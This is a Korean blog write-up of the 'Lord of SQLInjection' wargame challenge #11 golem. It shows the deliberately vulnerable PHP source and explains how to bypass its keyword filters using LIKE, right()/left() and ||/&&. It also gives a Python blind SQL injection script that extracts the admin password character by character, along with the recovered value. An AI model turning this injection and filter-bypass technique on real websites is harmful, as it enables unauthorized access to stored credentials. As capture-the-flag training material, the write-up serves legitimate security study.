LOS #11 golem
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
Query
select id from prob_golem where id='guest' and pw=''
Write-up
LOS #07 orge 문제와 거의 비슷한 문제이다. 다른 점은 substr() 함수와 "=" equal 필터링을 하고 있다는 점이다. substr()함수는 right(), left() 함수도 우회할 수 있고, "=" equal은 "like"로 우회할 수 있다.
* right(), left() 함수 참고 링크
MySQL RIGHT() Function
MySQL RIGHT() Function ❮ MySQL Functions Example Extract 4 characters from a string (starting from right): SELECT RIGHT("SQL Tutorial is cool", 4) AS ExtractString; Try it Yourself » Definition and Usage The RIGHT() function extracts a number of charact
www.w3schools.com
MySQL LEFT() Function
MySQL LEFT() Function ❮ MySQL Functions Example Extract 3 characters from a string (starting from left): SELECT LEFT("SQL Tutorial", 3) AS ExtractString; Try it Yourself » Definition and Usage The LEFT() function extracts a number of characters from a s
www.w3schools.com
* like 참고 링크
SQL LIKE Operator
SQL LIKE Operator The SQL LIKE Operator The LIKE operator is used in a WHERE clause to search for a specified pattern in a column. There are two wildcards often used in conjunction with the LIKE operator: % - The percent sign represents zero, one, or multi
www.w3schools.com
Code
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
pw=""
for i in range(1,9):
for j in range(48,128): # ascii code로 변환할 chr() 함수로 전달할 파라미터 값
try:
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=1' || id like 'admin' %26%26 right(left(pw, " + str(i) + "), 1) like'" + chr(j)
result = requests.post(url, cookies=(dict(PHPSESSID="세션값")))
except:
print("Error...")
continue
if 'Hello admin' in result.text:
pw = pw + chr(j)
print("pw : " + pw)
break
Parameter
pw=77d6290b
쿼리문은 다음과 같다.
select id from prob_golem where id='guest' and pw='77d6290b'
Success
'Wargame > LOS' 카테고리의 다른 글
LOS #13 bugbear (0) | 2020.10.28 |
---|---|
LOS #12 darkknight (0) | 2020.10.28 |
LOS #10 skeleton (0) | 2020.10.28 |
LOS #09 vampire (0) | 2020.10.28 |
LOS #08 troll (0) | 2020.10.28 |